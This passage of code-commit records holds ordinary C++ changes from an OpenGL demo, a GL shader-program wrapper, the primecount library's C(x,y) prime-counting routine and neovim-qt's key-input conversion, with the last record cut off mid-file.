<GL\/glew.h>\n\n#if defined(_WIN32)\n#  include <Windows.h>\n#  define GLFW_EXPOSE_NATIVE_WIN32\n#  define GLFW_EXPOSE_NATIVE_WGL\n#elif defined(__linux__)\n#  include <X11\/X.h>\n#  include <X11\/extensions\/Xrandr.h>\n#  define GLFW_EXPOSE_NATIVE_X11\n#  define GLFW_EXPOSE_NATIVE_GLX\n#endif\n\n#include <GLFW\/glfw3.h>\n\n#if !defined(__APPLE__)\n#  include <GLFW\/glfw3native.h>\n#endif\n\n#include <glm\/gtc\/type_ptr.hpp>\n\n#include <stdio.h>\n#include <string.h>\n#include <sstream>\n\n#include \"ShaderFunctions.h\"\n\n\/\/ Set VSync is framework-dependent and has to come before the include\n\/\/\/@param state 0=off, 1=on, -1=adaptive\n\/\/ Set vsync for both contexts.\nstatic void SetVsync(int state)\n{\n    glfwSwapInterval(state);\n}\n\nstatic void ErrorCallback(int p_Error, const char* p_Description)\n{\n    (void)p_Error;\n    (void)p_Description;\n}\n\n\nvoid keyboard(GLFWwindow* pWindow, int key, int codes, int action, int mods)\n{\n    (void)pWindow;\n    (void)codes;\n\n    if (action == GLFW_PRESS)\n    {\n    switch (key)\n    {\n        default:\n            break;\n\n        case GLFW_KEY_ESCAPE:\n            glfwTerminate();\n            break;\n        }\n    }\n}\n\nvoid resize(GLFWwindow* pWindow, int w, int h)\n{\n    (void)pWindow;\n}\n\nint main(int argc, char** argv)\n{\n    bool useOpenGLCoreContext = false;\n\n#ifdef USE_CORE_CONTEXT\n   \/\/ useOpenGLCoreContext = true;\n#endif\n\n#ifdef _LINUX\n    \/\/ Linux driver seems to be lagging a bit\n    useOpenGLCoreContext = false;\n#endif\n\n    \/\/ Command line options\n    for (int i=0; i<argc; ++i)\n    {\n        const std::string a = argv[i];\n        if (!a.compare(\"-core\"))\n        {\n            useOpenGLCoreContext = true;\n        }\n        else if (!a.compare(\"-compat\"))\n        {\n            useOpenGLCoreContext = false;\n        }\n    }\n\n    GLFWwindow* l_Window = NULL;\n    glfwSetErrorCallback(ErrorCallback);\n    if (!glfwInit())\n    {\n        exit(EXIT_FAILURE);\n    }\n\n#ifndef _LINUX\n    glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 4);\n#  if defined(_MACOS)\n    glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 1);\n#  else\n    glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 2);\n#  endif\n#endif \/\/ndef _LINUX\n    if (useOpenGLCoreContext)\n    {\n        glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n        glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);\n    }\n    else\n    {\n#ifndef _LINUX\n        glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_COMPAT_PROFILE);\n#endif\n    }\n\n    glfwWindowHint(GLFW_SAMPLES, 0);\n    l_Window = glfwCreateWindow(800, 600, \"kinderegg\", NULL, NULL);\n    if (!l_Window)\n    {\n        glfwTerminate();\n        exit(EXIT_FAILURE);\n    }\n\n    glfwMakeContextCurrent(l_Window);\n    glfwSetWindowSizeCallback(l_Window, resize);\n    glfwSetKeyCallback(l_Window, keyboard);\n\n    glfwMakeContextCurrent(l_Window);\n\n    \/\/ Don't forget to initialize Glew, turn glewExperimental on to\n    \/\/ avoid problems fetching function pointers...\n    glewExperimental = GL_TRUE;\n    const GLenum l_Result = glewInit();\n    if (l_Result != GLEW_OK)\n    {\n        exit(EXIT_FAILURE);\n    }\n\n    GLuint l_vao = 0;\n    glGenVertexArrays(1, &l_vao);\n    glBindVertexArray(l_vao);\n\n    GLuint prog = makeShaderByName(\"basic\");\n\n\n    while (!glfwWindowShouldClose(l_Window))\n    {\n        glfwPollEvents();\n\n        glUseProgram(prog);\n        glRecti(-1,-1,1,1);\n\n        glfwSwapBuffers(l_Window);\n    }\n\n    glfwDestroyWindow(l_Window);\n    glfwTerminate();\n    exit(EXIT_SUCCESS);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <string>\n#include <vector>\n#include <iostream>\n#include <GL\/glew.h>\n#include <glm\/glm.hpp>\n#include <glm\/ext.hpp>\n#include \"..\/include\/handle.h\"\n#include \"..\/include\/glshader.h\"\n#include \"..\/include\/glprogram.h\"\n\nconst std::function<void(GLuint*)> GL::Program::sProgDelete = \n\t[](GLuint *p){ glDeleteProgram(*p); };\n\nGL::Program::Program(){\n}\nGL::Program::Program(std::string vertex, std::string frag){\n\tVertexShader vertShader(vertex);\n\tFragmentShader fragShader(frag);\n\t\/\/Make sure the shaders are ok\n\tif (!vertShader.status() || !fragShader.status()){\n\t\tstd::cout << vertShader.getLog() << std::endl\n\t\t\t<< fragShader.getLog() << std::endl;\n\t}\n\tlink(vertShader, fragShader);\n}\nGL::Program::Program(VertexShader &vert, FragmentShader &frag){\n\tlink(vert, frag);\n}\nvoid GL::Program::link(VertexShader &vert, FragmentShader &frag){\n\tmHandle = Handle(glCreateProgram(), sProgDelete);\n\tglAttachShader(mHandle, vert);\n\tglAttachShader(mHandle, frag);\n\tglLinkProgram(mHandle);\n\tglDetachShader(mHandle, vert);\n\tglDetachShader(mHandle, frag);\n}\nstd::string GL::Program::getLog(){\n\tif (!status()){\n\t\t\/\/Get the log length and then get the log\n\t\tGLint logLength;\n\t\tglGetShaderiv(mHandle, GL_INFO_LOG_LENGTH, &logLength);\n\t\tstd::vector<char> log(logLength);\n\t\tglGetShaderInfoLog(mHandle, logLength, NULL, &log[0]);\n\t\t\n\t\treturn \"Program errors:\\n\" + std::string(log.begin(), log.end());\n\t}\n\treturn \"Success\";\n}\nbool GL::Program::status(){\n\tGLint status;\n\tglGetProgramiv(mHandle, GL_LINK_STATUS, &status);\n\treturn (status == GL_TRUE);\n}\nvoid GL::Program::use(){\n\tglUseProgram(mHandle);\n}\nGLint GL::Program::getAttribute(const std::string &name){\n\treturn glGetAttribLocation(mHandle, name.c_str());\n}\nGLint GL::Program::getUniformBlockIndex(const std::string &name){\n\treturn glGetUniformBlockIndex(mHandle, name.c_str());\n}\nvoid GL::Program::uniform1i(const std::string &attrib, int i){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform1i(attribLoc, i);\n}\nvoid GL::Program::uniform1f(const std::string &attrib, float f){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform1f(attribLoc, f);\n}\nvoid GL::Program::uniform3fv(const std::string &attrib, const glm::vec3 &vec){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform3fv(attribLoc, 1, glm::value_ptr(vec));\n}\nvoid GL::Program::uniform4fv(const std::string &attrib, const glm::vec4 &vec){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform4fv(attribLoc, 1, glm::value_ptr(vec));\n}\nvoid GL::Program::uniformMat4x4(const std::string &attrib, const glm::mat4 &matrix){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniformMatrix4fv(attribLoc, 1, GL_FALSE, glm::value_ptr(matrix));\n}\nGL::Program::operator GLuint(){\n\treturn mHandle;\n}\n<commit_msg>glprogram.cpp doesn't need to include iostream><commit_after>#include <string>\n#include <vector>\n#include <GL\/glew.h>\n#include <glm\/glm.hpp>\n#include <glm\/ext.hpp>\n#include \"..\/include\/handle.h\"\n#include \"..\/include\/glshader.h\"\n#include \"..\/include\/glprogram.h\"\n\nconst std::function<void(GLuint*)> GL::Program::sProgDelete = \n\t[](GLuint *p){ glDeleteProgram(*p); };\n\nGL::Program::Program(){\n}\nGL::Program::Program(std::string vertex, std::string frag){\n\tVertexShader vertShader(vertex);\n\tFragmentShader fragShader(frag);\n\t\/\/Make sure the shaders are ok\n\tif (!vertShader.status() || !fragShader.status()){\n\t\tstd::cout << vertShader.getLog() << std::endl\n\t\t\t<< fragShader.getLog() << std::endl;\n\t}\n\tlink(vertShader, fragShader);\n}\nGL::Program::Program(VertexShader &vert, FragmentShader &frag){\n\tlink(vert, frag);\n}\nvoid GL::Program::link(VertexShader &vert, FragmentShader &frag){\n\tmHandle = Handle(glCreateProgram(), sProgDelete);\n\tglAttachShader(mHandle, vert);\n\tglAttachShader(mHandle, frag);\n\tglLinkProgram(mHandle);\n\tglDetachShader(mHandle, vert);\n\tglDetachShader(mHandle, frag);\n}\nstd::string GL::Program::getLog(){\n\tif (!status()){\n\t\t\/\/Get the log length and then get the log\n\t\tGLint logLength;\n\t\tglGetShaderiv(mHandle, GL_INFO_LOG_LENGTH, &logLength);\n\t\tstd::vector<char> log(logLength);\n\t\tglGetShaderInfoLog(mHandle, logLength, NULL, &log[0]);\n\t\t\n\t\treturn \"Program errors:\\n\" + std::string(log.begin(), log.end());\n\t}\n\treturn \"Success\";\n}\nbool GL::Program::status(){\n\tGLint status;\n\tglGetProgramiv(mHandle, GL_LINK_STATUS, &status);\n\treturn (status == GL_TRUE);\n}\nvoid GL::Program::use(){\n\tglUseProgram(mHandle);\n}\nGLint GL::Program::getAttribute(const std::string &name){\n\treturn glGetAttribLocation(mHandle, name.c_str());\n}\nGLint GL::Program::getUniformBlockIndex(const std::string &name){\n\treturn glGetUniformBlockIndex(mHandle, name.c_str());\n}\nvoid GL::Program::uniform1i(const std::string &attrib, int i){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform1i(attribLoc, i);\n}\nvoid GL::Program::uniform1f(const std::string &attrib, float f){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform1f(attribLoc, f);\n}\nvoid GL::Program::uniform3fv(const std::string &attrib, const glm::vec3 &vec){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform3fv(attribLoc, 1, glm::value_ptr(vec));\n}\nvoid GL::Program::uniform4fv(const std::string &attrib, const glm::vec4 &vec){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniform4fv(attribLoc, 1, glm::value_ptr(vec));\n}\nvoid GL::Program::uniformMat4x4(const std::string &attrib, const glm::mat4 &matrix){\n\tglUseProgram(mHandle);\n\tGLint attribLoc = glGetUniformLocation(mHandle, attrib.c_str());\n\tglUniformMatrix4fv(attribLoc, 1, GL_FALSE, glm::value_ptr(matrix));\n}\nGL::Program::operator GLuint(){\n\treturn mHandle;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/\/ @file  C.cpp\n\/\/\/ @brief Simple demonstration implementation of the C(x, y) formula\n\/\/\/        in Xavier Gourdon's prime counting algorithm. This\n\/\/\/        implementation uses O(x^(1\/2)) memory instead of O(x^(1\/3))\n\/\/\/        in order to simplify the implementation.\n\/\/\/\n\/\/\/        I guess this implementation can be optimized significantly\n\/\/\/        by using an algorithm that is similar to the algorithm used\n\/\/\/        in S2_easy.cpp for the clustered easy leaves.\n\/\/\/\n\/\/\/ Copyright (C) 2019 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <PiTable.hpp>\n#include <primecount-internal.hpp>\n#include <fast_div.hpp>\n#include <generate.hpp>\n#include <int128_t.hpp>\n#include <min.hpp>\n#include <imath.hpp>\n#include <print.hpp>\n#include <S2Status.hpp>\n\n#include \"FactorTableGourdon.hpp\"\n\n#include <stdint.h>\n#include <vector>\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\ntemplate <typename T, typename Primes, typename FactorTable>\nT C_OpenMP(T x,\n           int64_t y,\n           int64_t z,\n           int64_t k,\n           Primes& primes,\n           FactorTable& factor,\n           int threads)\n{\n  T sum = 0;\n  T y2 = y * (T) y;\n  int64_t x_star = max(iroot<4>(x), x \/ y2);\n  int64_t thread_threshold = 1000;\n  threads = ideal_num_threads(threads, x_star, thread_threshold);\n\n  PiTable pi(isqrt(x));\n  int64_t pi_x_star = pi[x_star];\n  S2Status status(x);\n\n  #pragma omp parallel for schedule(dynamic) num_threads(threads) reduction(-: sum)\n  for (int64_t b = k + 1; b <= pi_x_star; b++)\n  {\n    int64_t prime = primes[b];\n    T x2 = x \/ prime;\n    int64_t m = min(x2 \/ prime, z);\n    int64_t min_m = x \/ ipow<T>(prime, 3);\n    min_m = max(min_m, prime, z \/ prime);\n\n    factor.to_index(&m);\n    factor.to_index(&min_m);\n\n    for (; m > min_m; m--)\n    {\n      \/\/ leastPrimeFactor[m] > prime && maxPrimeFactor[m] <= y\n      if (prime < factor.is_leaf(m))\n      {\n        int64_t n = factor.get_number(m);\n        int64_t xn = fast_div64(x2, n);\n        sum -= factor.mu(m) * (pi[xn] - b + 2);\n      }\n    }\n\n    if (is_print())\n      status.print(b, pi_x_star);\n  }\n\n  return sum;\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\nint64_t C(int64_t x,\n          int64_t y,\n          int64_t z,\n          int64_t k,\n          int threads)\n{\n  print(\"\");\n  print(\"=== C(x, y) ===\");\n  print(x, y, z, k, threads);\n\n  double time = get_time();\n  auto primes = generate_primes<int32_t>(z);\n  FactorTableGourdon<uint16_t> factor(y, z, threads);\n  int64_t c = C_OpenMP((intfast64_t) x, y, z, k, primes, factor, threads);\n\n  print(\"C\", c, time);\n  return c;\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t C(int128_t x,\n           int64_t y,\n           int64_t z,\n           int64_t k,\n           int threads)\n{\n  print(\"\");\n  print(\"=== C(x, y) ===\");\n  print(x, y, z, k, threads);\n\n  double time = get_time();\n  int128_t c;\n\n  \/\/ uses less memory\n  if (z <= numeric_limits<uint32_t>::max())\n  {\n    auto primes = generate_primes<uint32_t>(y);\n    FactorTableGourdon<uint16_t> factor(y, z, threads);\n    c = C_OpenMP((intfast128_t) x, y, z, k, primes, factor, threads);\n  }\n  else\n  {\n    auto primes = generate_primes<int64_t>(y);\n    FactorTableGourdon<uint32_t> factor(y, z, threads);\n    c = C_OpenMP((intfast128_t) x, y, z, k, primes, factor, threads);\n  }\n\n  print(\"C\", c, time);\n  return c;\n}\n\n#endif\n\n} \/\/ namespace\n<commit_msg>Big speedup<commit_after>\/\/\/\n\/\/\/ @file  C.cpp\n\/\/\/ @brief Simple demonstration implementation of the C(x, y) formula\n\/\/\/        in Xavier Gourdon's prime counting algorithm. This\n\/\/\/        implementation uses O(x^(1\/2)) memory instead of O(x^(1\/3))\n\/\/\/        in order to simplify the implementation.\n\/\/\/\n\/\/\/ Copyright (C) 2019 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <PiTable.hpp>\n#include <primecount-internal.hpp>\n#include <fast_div.hpp>\n#include <generate.hpp>\n#include <int128_t.hpp>\n#include <min.hpp>\n#include <imath.hpp>\n#include <print.hpp>\n#include <S2Status.hpp>\n\n#include <stdint.h>\n#include <vector>\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ Recursively iterate over the square free numbers coprime\n\/\/\/ to the first b primes. This algorithm is described in\n\/\/\/ section 2.2 of the paper: Douglas Staple, \"The Combinatorial\n\/\/\/ Algorithm For Computing pi(x)\", arXiv:1503.01839, 6 March\n\/\/\/ 2015.\n\/\/\/\ntemplate <int MU, typename T, typename Primes>\nT C(T xp,\n    uint64_t i,\n    uint64_t m,\n    uint64_t min_m,\n    uint64_t max_m,\n    uint64_t b,\n    Primes& primes,\n    PiTable& pi)\n{\n  T sum = 0;\n\n  for (i++; i < primes.size(); i++)\n  {\n    uint64_t next_m = m * primes[i];\n\n    \/\/ next_m may be 128-bit\n    if ((T) m * primes[i] > max_m)\n      return sum;\n\n    if (next_m > min_m)\n    {\n      uint64_t xpm = fast_div64(xp, next_m);\n      sum += MU * (pi[xpm] - b + 2);\n    }\n\n    sum += C<-MU>(xp, i, next_m, min_m, max_m, b, primes, pi);\n  }\n\n  return sum;\n}\n\ntemplate <typename T, typename Primes>\nT C_OpenMP(T x,\n           int64_t y,\n           int64_t z,\n           int64_t k,\n           Primes& primes,\n           int threads)\n{\n  T sum = 0;\n  T y2 = y * (T) y;\n  int64_t x_star = max(iroot<4>(x), x \/ y2);\n  int64_t thread_threshold = 1000;\n  threads = ideal_num_threads(threads, x_star, thread_threshold);\n\n  PiTable pi(isqrt(x));\n  int64_t pi_x_star = pi[x_star];\n  S2Status status(x);\n\n  #pragma omp parallel for schedule(dynamic) num_threads(threads) reduction(-: sum)\n  for (int64_t b = k + 1; b <= pi_x_star; b++)\n  {\n    int64_t prime = primes[b];\n    T xp = x \/ prime;\n    int64_t max_m = min(xp \/ prime, z);\n    int64_t min_m = x \/ ipow<T>(prime, 3);\n    min_m = max(min_m, prime, z \/ prime);\n\n    sum -= C<-1>(xp, b, 1, min_m, max_m, b, primes, pi);\n\n    if (is_print())\n      status.print(b, pi_x_star);\n  }\n\n  return sum;\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\nint64_t C(int64_t x,\n          int64_t y,\n          int64_t z,\n          int64_t k,\n          int threads)\n{\n  print(\"\");\n  print(\"=== C(x, y) ===\");\n  print(x, y, z, k, threads);\n\n  double time = get_time();\n  auto primes = generate_primes<int32_t>(y);\n  int64_t c = C_OpenMP((intfast64_t) x, y, z, k, primes, threads);\n\n  print(\"C\", c, time);\n  return c;\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t C(int128_t x,\n           int64_t y,\n           int64_t z,\n           int64_t k,\n           int threads)\n{\n  print(\"\");\n  print(\"=== C(x, y) ===\");\n  print(x, y, z, k, threads);\n\n  double time = get_time();\n  int128_t c;\n\n  \/\/ uses less memory\n  if (y <= numeric_limits<uint32_t>::max())\n  {\n    auto primes = generate_primes<uint32_t>(y);\n    c = C_OpenMP((intfast128_t) x, y, z, k, primes, threads);\n  }\n  else\n  {\n    auto primes = generate_primes<int64_t>(y);\n    c = C_OpenMP((intfast128_t) x, y, z, k, primes, threads);\n  }\n\n  print(\"C\", c, time);\n  return c;\n}\n\n#endif\n\n} \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"input.h\"\n#include <QDebug>\n\nnamespace NeovimQt {\n\nInputConv Input;\n\nInputConv::InputConv() {\n\t\/\/ see :h key-notation\n\n\t\/\/ special keys i.e. no textual representation\n\tspecialKeys.insert(Qt::Key_Up, \"Up\");\n\tspecialKeys.insert(Qt::Key_Down, \"Down\");\n\tspecialKeys.insert(Qt::Key_Left, \"Left\");\n\tspecialKeys.insert(Qt::Key_Right, \"Right\");\n\n\tspecialKeys.insert(Qt::Key_F1, \"F1\");\n\tspecialKeys.insert(Qt::Key_F2, \"F2\");\n\tspecialKeys.insert(Qt::Key_F3, \"F3\");\n\tspecialKeys.insert(Qt::Key_F4, \"F4\");\n\tspecialKeys.insert(Qt::Key_F5, \"F5\");\n\tspecialKeys.insert(Qt::Key_F6, \"F6\");\n\tspecialKeys.insert(Qt::Key_F7, \"F7\");\n\tspecialKeys.insert(Qt::Key_F8, \"F8\");\n\tspecialKeys.insert(Qt::Key_F9, \"F9\");\n\tspecialKeys.insert(Qt::Key_F10, \"F10\");\n\tspecialKeys.insert(Qt::Key_F11, \"F11\");\n\tspecialKeys.insert(Qt::Key_F12, \"F12\");\n\n\tspecialKeys.insert(Qt::Key_Backspace, \"BS\");\n\tspecialKeys.insert(Qt::Key_Delete, \"Del\");\n\tspecialKeys.insert(Qt::Key_Insert, \"Insert\");\n\tspecialKeys.insert(Qt::Key_Home, \"Home\");\n\tspecialKeys.insert(Qt::Key_End, \"End\");\n\tspecialKeys.insert(Qt::Key_PageUp, \"PageUp\");\n\tspecialKeys.insert(Qt::Key_PageDown, \"PageDown\");\n\n\tspecialKeys.insert(Qt::Key_Return, \"Enter\");\n\tspecialKeys.insert(Qt::Key_Enter, \"Enter\");\n\tspecialKeys.insert(Qt::Key_Tab, \"Tab\");\n\tspecialKeys.insert(Qt::Key_Backtab, \"Tab\");\n\tspecialKeys.insert(Qt::Key_Escape, \"Esc\");\n\n\tspecialKeys.insert(Qt::Key_Backslash, \"Bslash\");\n\tspecialKeys.insert(Qt::Key_Space, \"Space\");\n}\n\n\/**\n * Return keyboard modifier prefix \n *\n * e.g. C-, A- or C-S-A-\n *\n * WIN32: Ctrl+Alt are never passed together, since we can't distinguish\n * between Ctrl+Alt and AltGr (see Vim\/os_win32.c).\n *\/\nQString InputConv::modPrefix(Qt::KeyboardModifiers mod)\n{\n\tQString modprefix;\n#if defined(Q_OS_MAC) || defined(Q_OS_UNIX)\n\tif ( mod & CmdModifier ) {\n\t\tmodprefix += \"D-\"; \/\/ like MacVim does\n\t}\n#endif\n\tif ( mod & ControlModifier\n#ifdef Q_OS_WIN32\n\t\t&& !(mod & AltModifier)\n#endif\n\t   ) {\n\t\tmodprefix += \"C-\";\n\t}\n\tif ( mod & ShiftModifier ) {\n\t\tmodprefix += \"S-\";\n\t}\n\tif ( mod & AltModifier\n#ifdef Q_OS_WIN32\n\t\t&& !(mod & ControlModifier)\n#endif\n\t   ) {\n\t\tmodprefix += \"A-\";\n\t}\n\treturn modprefix;\n}\n\n\/**\n * Convert mouse event information into Neovim key notation\n *\n * @type is one of the Qt mouse event types\n * @pos is in Neovim Coordinates\n * @clickCount is the number of consecutive mouse clicks\n *   1 for a single click, 2 for a double click, up to 4.\n *   This value is only used for LeftMouse events.\n *\n * see QMouseEvent\n *\n * If the event is not valid for Neovim, returns an empty string\n *\/\nQString InputConv::convertMouse(Qt::MouseButton bt, QEvent::Type type, Qt::KeyboardModifiers mod, QPoint pos, short clickCount)\n{\n\tQString buttonName;\n\tswitch(bt) {\n\tcase Qt::LeftButton:\n\t\t\/\/ In practice Neovim only supports the clickcount for Left\n\t\t\/\/ mouse presses, even if our shell can support other buttons\n\t\tif (clickCount > 1 && clickCount <= 4) {\n\t\t\tbuttonName = QString(\"%1-Left\").arg(clickCount);\n\t\t} else {\n\t\t\tbuttonName += \"Left\";\n\t\t}\n\t\tbreak;\n\tcase Qt::RightButton:\n\t\tbuttonName += \"Right\";\n\t\tbreak;\n\tcase Qt::MidButton:\n\t\tbuttonName += \"Middle\";\n\t\tbreak;\n\tcase Qt::NoButton:\n\t\tbreak;\n\tdefault:\n\t\treturn \"\";\n\t}\n\n\tQString evType;\n\tswitch(type) {\n\tcase QEvent::MouseButtonDblClick:\n\t\t\/\/ Treat this as a regular MouseButtonPress. Repeated\n\t\t\/\/ clicks are handled above.\n\tcase QEvent::MouseButtonPress:\n\t\tevType += \"Mouse\";\n\t\tbreak;\n\tcase QEvent::MouseButtonRelease:\n\t\tevType += \"Release\";\n\t\tbreak;\n\tcase QEvent::MouseMove:\n\t\tevType += \"Drag\";\n\t\tbreak;\n\tdefault:\n\t\treturn \"\";\n\t}\n\n\tQString inp = QString(\"<%1%2%3><%4,%5>\").arg(modPrefix(mod)).arg(buttonName).arg(evType).arg(pos.x()).arg(pos.y());\n\treturn inp;\n}\n\n\/**\n * Convert Qt key input into Neovim key-notation\n *\n * see QKeyEvent\n *\/\nQString InputConv::convertKey(const QString& text, int k, Qt::KeyboardModifiers mod)\n{\n\tif (specialKeys.contains(k)) {\n\t\treturn QString(\"<%1%2>\").arg(modPrefix(mod)).arg(specialKeys.value(k));\n\t}\n\n\tQChar c;\n\t\/\/ Escape < and backslash\n\tif (text == \"<\") {\n\t\treturn QString(\"<lt>\");\n\t} else if (text == \"\\\\\") {\n\t\treturn QString(\"<%1%2>\").arg(modPrefix(mod)).arg(\"Bslash\");\n\t} else if (text.isEmpty()) {\n\t\t\/\/ on macs, text is empty for ctrl+key and cmd+key combos (with or without alt)\n\t\tif (mod & ControlModifier || mod & CmdModifier) {\n\t\t\t\/\/ ignore ctrl, alt and cmd key combos by themselves\n\t\t\tQList<Qt::Key> keys = { Key_Control, Key_Alt, Key_Cmd };\n\t\t\tif (keys.contains((Qt::Key)k)) {\n\t\t\t\treturn QString();\n\t\t\t} else {\n\t\t\t\t\/\/ key code will be the value of the char (hopefully)\n\t\t\t\tc = QChar(k);\n\t\t\t}\n\t\t} else {\n\t\t\t\/\/ This is a special key we can't handle\n\t\t\treturn QString();\n\t\t}\n\t} else {\n\t\t\/\/ Key event compression is disabled, text has one char\n\t\tc = text.at(0);\n\t}\n\n\t\/\/ Remove SHIFT\n\tif (c.unicode() < 0x100 && !c.isLetterOrNumber() && c.isPrint()) {\n\t\tmod &= ~ShiftModifier;\n\t}\n\n\t\/\/ Remove CTRL empty characters at the start of the ASCII range\n\tif (c.unicode() < 0x20) {\n\t\tmod &= ~ControlModifier;\n\t}\n\n\t\/\/ Format with prefix if necessary\n\tQString prefix = modPrefix(mod);\n\tif (!prefix.isEmpty()) {\n\t\treturn QString(\"<%1%2>\").arg(prefix).arg(c);\n\t}\n\n\treturn QString(c);\n}\n\n} \/\/ Namespace\n<commit_msg>recognize keypad<commit_after>\n#include \"input.h\"\n#include <QDebug>\n\nnamespace NeovimQt {\n\nInputConv Input;\n\nInputConv::InputConv() {\n\t\/\/ see :h key-notation\n\n\t\/\/ special keys i.e. no textual representation\n\tspecialKeys.insert(Qt::Key_Up, \"Up\");\n\tspecialKeys.insert(Qt::Key_Down, \"Down\");\n\tspecialKeys.insert(Qt::Key_Left, \"Left\");\n\tspecialKeys.insert(Qt::Key_Right, \"Right\");\n\n\tspecialKeys.insert(Qt::Key_F1, \"F1\");\n\tspecialKeys.insert(Qt::Key_F2, \"F2\");\n\tspecialKeys.insert(Qt::Key_F3, \"F3\");\n\tspecialKeys.insert(Qt::Key_F4, \"F4\");\n\tspecialKeys.insert(Qt::Key_F5, \"F5\");\n\tspecialKeys.insert(Qt::Key_F6, \"F6\");\n\tspecialKeys.insert(Qt::Key_F7, \"F7\");\n\tspecialKeys.insert(Qt::Key_F8, \"F8\");\n\tspecialKeys.insert(Qt::Key_F9, \"F9\");\n\tspecialKeys.insert(Qt::Key_F10, \"F10\");\n\tspecialKeys.insert(Qt::Key_F11, \"F11\");\n\tspecialKeys.insert(Qt::Key_F12, \"F12\");\n\n\tspecialKeys.insert(Qt::Key_Backspace, \"BS\");\n\tspecialKeys.insert(Qt::Key_Delete, \"Del\");\n\tspecialKeys.insert(Qt::Key_Insert, \"Insert\");\n\tspecialKeys.insert(Qt::Key_Home, \"Home\");\n\tspecialKeys.insert(Qt::Key_End, \"End\");\n\tspecialKeys.insert(Qt::Key_PageUp, \"PageUp\");\n\tspecialKeys.insert(Qt::Key_PageDown, \"PageDown\");\n\n\tspecialKeys.insert(Qt::Key_Return, \"Enter\");\n\tspecialKeys.insert(Qt::Key_Enter, \"Enter\");\n\tspecialKeys.insert(Qt::Key_Tab, \"Tab\");\n\tspecialKeys.insert(Qt::Key_Backtab, \"Tab\");\n\tspecialKeys.insert(Qt::Key_Escape, \"Esc\");\n\n\tspecialKeys.insert(Qt::Key_Backslash, \"Bslash\");\n\tspecialKeys.insert(Qt::Key_Space, \"Space\");\n}\n\n\/**\n * Return keyboard modifier prefix \n *\n * e.g. C-, A- or C-S-A-\n *\n * WIN32: Ctrl+Alt are never passed together, since we can't distinguish\n * between Ctrl+Alt and AltGr (see Vim\/os_win32.c).\n *\/\nQString InputConv::modPrefix(Qt::KeyboardModifiers mod)\n{\n\tQString modprefix;\n#if defined(Q_OS_MAC) || defined(Q_OS_UNIX)\n\tif ( mod & CmdModifier ) {\n\t\tmodprefix += \"D-\"; \/\/ like MacVim does\n\t}\n#endif\n\tif ( mod & ControlModifier\n#ifdef Q_OS_WIN32\n\t\t&& !(mod & AltModifier)\n#endif\n\t   ) {\n\t\tmodprefix += \"C-\";\n\t}\n\tif ( mod & ShiftModifier ) {\n\t\tmodprefix += \"S-\";\n\t}\n\tif ( mod & AltModifier\n#ifdef Q_OS_WIN32\n\t\t&& !(mod & ControlModifier)\n#endif\n\t   ) {\n\t\tmodprefix += \"A-\";\n\t}\n    if ( mod & Qt::KeypadModifier ) {\n        modprefix += \"k\";\n    } \n\n\treturn modprefix;\n}\n\n\/**\n * Convert mouse event information into Neovim key notation\n *\n * @type is one of the Qt mouse event types\n * @pos is in Neovim Coordinates\n * @clickCount is the number of consecutive mouse clicks\n *   1 for a single click, 2 for a double click, up to 4.\n *   This value is only used for LeftMouse events.\n *\n * see QMouseEvent\n *\n * If the event is not valid for Neovim, returns an empty string\n *\/\nQString InputConv::convertMouse(Qt::MouseButton bt, QEvent::Type type, Qt::KeyboardModifiers mod, QPoint pos, short clickCount)\n{\n\tQString buttonName;\n\tswitch(bt) {\n\tcase Qt::LeftButton:\n\t\t\/\/ In practice Neovim only supports the clickcount for Left\n\t\t\/\/ mouse presses, even if our shell can support other buttons\n\t\tif (clickCount > 1 && clickCount <= 4) {\n\t\t\tbuttonName = QString(\"%1-Left\").arg(clickCount);\n\t\t} else {\n\t\t\tbuttonName += \"Left\";\n\t\t}\n\t\tbreak;\n\tcase Qt::RightButton:\n\t\tbuttonName += \"Right\";\n\t\tbreak;\n\tcase Qt::MidButton:\n\t\tbuttonName += \"Middle\";\n\t\tbreak;\n\tcase Qt::NoButton:\n\t\tbreak;\n\tdefault:\n\t\treturn \"\";\n\t}\n\n\tQString evType;\n\tswitch(type) {\n\tcase QEvent::MouseButtonDblClick:\n\t\t\/\/ Treat this as a regular MouseButtonPress. Repeated\n\t\t\/\/ clicks are handled above.\n\tcase QEvent::MouseButtonPress:\n\t\tevType += 